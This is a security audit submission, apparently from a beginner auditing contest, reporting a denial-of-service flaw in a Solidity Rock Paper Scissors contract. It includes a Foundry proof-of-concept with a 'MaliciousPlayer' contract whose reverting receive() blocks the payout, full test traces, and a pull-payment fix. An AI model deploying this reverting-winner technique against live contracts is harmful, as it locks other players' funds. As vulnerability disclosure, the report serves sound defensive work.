Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

[H-1] Denial of Service via ETH Transfer Revert

Description:

The contract RockPaperScissors.sol attempts to transfer ETH to the winner of a game using a low-level call. If the _winner is a contract that reverts on receiving ETH (e.g., using a receive() function that reverts), the transaction fails and the logic reverts entirely:

(bool success,) = _winner.call{value: prize}("");
require(success, "Transfer failed");

This allows a malicious player to win a game and then block its resolution entirely by refusing the payout, causing the game to be stuck in a pending state indefinitely. This constitutes a Denial of Service (DoS) vector

So

If the _winner is an attacking contract, its receive() can do this:

receive() external payable {
revert("I don't want your ETH");
}

This results in:

  • call{value:} fails

  • success == false

  • require(success, ...) rolls back all execution

  • The game is not marked as over

  • Funds are stuck

  • No one can advance

Impact:

  • The game cannot be marked as finished.

  • No prize can be withdrawn.

  • Funds remain locked in the contract.

  • The DoS is fully reproducible and prevents normal game flow.

  • Admin has no override mechanism.

  • Critical game logic is tightly coupled with external code execution

Proof of Concept:

  • A test contract called RPS_DoS.t.sol has been created for the proof of concept.

  • To run the test, simply execute:

forge test --mt test_DoSOnWinnerPayout -vvvv
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/RockPaperScissors.sol";
/// @notice Attacking contract reverts upon receiving ETH
contract MaliciousPlayer {
receive() external payable {
revert("I refuse your ETH");
}
function getCommit() external pure returns (uint8 move, bytes32 salt, bytes32 commitment) {
move = 1; // Rock
salt = keccak256("malicious");
commitment = keccak256(abi.encodePacked(move, salt));
}
}
contract RockPaperScissorsDoSTest is Test {
RockPaperScissors public game;
WinningToken public token;
MaliciousPlayer public attacker;
address public honest = address(0xA1);
function setUp() public {
game = new RockPaperScissors();
token = game.winningToken();
attacker = new MaliciousPlayer();
// Allocate funds to both players
vm.deal(honest, 1 ether);
vm.deal(address(attacker), 1 ether);
}
function test_DoSOnWinnerPayout() public {
// Step 1: Honest player creates a game
vm.prank(honest);
uint256 gameId = game.createGameWithEth{value: 0.5 ether}(1, 10 minutes);
// Step 2: The attacker generates his commit
(,, bytes32 attackerCommit) = attacker.getCommit();
// Step 3: The attacker joins the game
vm.prank(address(attacker));
game.joinGameWithEth{value: 0.5 ether}(gameId);
// Step 4: Both commit
vm.prank(honest);
bytes32 saltHonest = keccak256("scissors");
bytes32 commitHonest = keccak256(abi.encodePacked(uint8(3), saltHonest)); // Scissors
game.commitMove(gameId, commitHonest);
vm.prank(address(attacker));
game.commitMove(gameId, attackerCommit);
// Step 5: Both reveal
vm.prank(honest);
game.revealMove(gameId, 3, saltHonest); // Scissors
// Attacker reveals and wins → an attempt is made to pay him → his contract is reverted → Transfer failed
vm.expectRevert("Transfer failed");
vm.prank(address(attacker));
game.revealMove(gameId, 1, keccak256("malicious")); // Rock
}
}

Output (-vvvv):

❯ forge test --mt test_DoSOnWinnerPayout -vvvv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. Visit https://book.getfoundry.sh/announcements for more information.
To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.
[⠒] Compiling...
[⠆] Compiling 1 files with Solc 0.8.20
[⠰] Solc 0.8.20 finished in 14.69s
Compiler run successful!
Ran 1 test for test/RPS_DoS.t.sol:RockPaperScissorsDoSTest
[PASS] test_DoSOnWinnerPayout() (gas: 381969)
Traces:
[381969] RockPaperScissorsDoSTest::test_DoSOnWinnerPayout()
├─ [0] VM::prank(0x00000000000000000000000000000000000000A1)
│ └─ ← [Return]
├─ [184325] RockPaperScissors::createGameWithEth{value: 500000000000000000}(1, 600)
│ ├─ emit GameCreated(gameId: 0, creator: 0x00000000000000000000000000000000000000A1, bet: 500000000000000000 [5e17], totalTurns: 1)
│ └─ ← [Return] 0
├─ [350] MaliciousPlayer::getCommit() [staticcall]
│ └─ ← [Return] 1, 0x613994f4e324d0667c07857cd5d147994bc917da5d07ee63fc3f0a1fe8a18e34, 0x95d5a991cd6eef57626c991cc2d997728db28b2f9a1e8cd2277828e4ab2a4d6a
├─ [0] VM::prank(MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
│ └─ ← [Return]
├─ [24919] RockPaperScissors::joinGameWithEth{value: 500000000000000000}(0)
│ ├─ emit PlayerJoined(gameId: 0, player: MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
│ └─ ← [Return]
├─ [0] VM::prank(0x00000000000000000000000000000000000000A1)
│ └─ ← [Return]
├─ [47751] RockPaperScissors::commitMove(0, 0x5b2259b4e9b249588f0bf27d95d4bcc7030acc8a614c59d27d57007032701852)
│ ├─ emit MoveCommitted(gameId: 0, player: 0x00000000000000000000000000000000000000A1, currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::prank(MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
│ └─ ← [Return]
├─ [46119] RockPaperScissors::commitMove(0, 0x95d5a991cd6eef57626c991cc2d997728db28b2f9a1e8cd2277828e4ab2a4d6a)
│ ├─ emit MoveCommitted(gameId: 0, player: MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::prank(0x00000000000000000000000000000000000000A1)
│ └─ ← [Return]
├─ [4375] RockPaperScissors::revealMove(0, 3, 0x389a2d4e358d901bfdf22245f32b4b0a401cc16a4b92155a2ee5da98273dad9a)
│ ├─ emit MoveRevealed(gameId: 0, player: 0x00000000000000000000000000000000000000A1, move: 3, currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::expectRevert(custom error 0xf28dceb3: Transfer failed)
│ └─ ← [Return]
├─ [0] VM::prank(MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
│ └─ ← [Return]
├─ [39158] RockPaperScissors::revealMove(0, 1, 0x613994f4e324d0667c07857cd5d147994bc917da5d07ee63fc3f0a1fe8a18e34)
│ ├─ emit MoveRevealed(gameId: 0, player: MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], move: 1, currentTurn: 1)
│ ├─ emit TurnCompleted(gameId: 0, winner: MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], currentTurn: 1)
│ ├─ emit FeeCollected(gameId: 0, feeAmount: 100000000000000000 [1e17])
│ ├─ [160] MaliciousPlayer::receive{value: 900000000000000000}()
│ │ └─ ← [Revert] revert: I refuse your ETH
│ └─ ← [Revert] revert: Transfer failed
└─ ← [Return]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.09ms (218.16µs CPU time)
Ran 1 test suite in 593.43ms (1.09ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation:

Use the pull-payment pattern to avoid transferring ETH during game logic execution:

mapping(address => uint256) public pendingWithdrawals;
// Instead of sending ETH directly:
pendingWithdrawals[_winner] += prize;
function withdraw() external {
uint256 amount = pendingWithdrawals[msg.sender];
require(amount > 0, "Nothing to withdraw");
pendingWithdrawals[msg.sender] = 0;
(bool success,) = msg.sender.call{value: amount}("");
require(success, "Withdraw failed");
}

This ensures that even if a player refuses to accept ETH, the game logic proceeds normally and funds can still be withdrawn manually.

Classification:

  • Severity: High

  • Type: Denial of Service (SWC-113)

  • Reproducibility: Confirmed with Forge test

  • Mitigation: Available and well-documented

Conclusion: This issue poses a real risk to the integrity and availability of the RockPaperScissors protocol and should be addressed immediately.

Updates

Appeal created

m3dython Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Denial of Service (DoS) due to Unhandled External Call Revert

Malicious player wins a game using a contract that intentionally reverts when receiving ETH, the entire transaction will fail

m3dython Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Denial of Service (DoS) due to Unhandled External Call Revert

Malicious player wins a game using a contract that intentionally reverts when receiving ETH, the entire transaction will fail

freesultan Auditor
10 months ago
m3dython Lead Judge
10 months ago
m3dython Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Denial of Service (DoS) due to Unhandled External Call Revert

Malicious player wins a game using a contract that intentionally reverts when receiving ETH, the entire transaction will fail

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!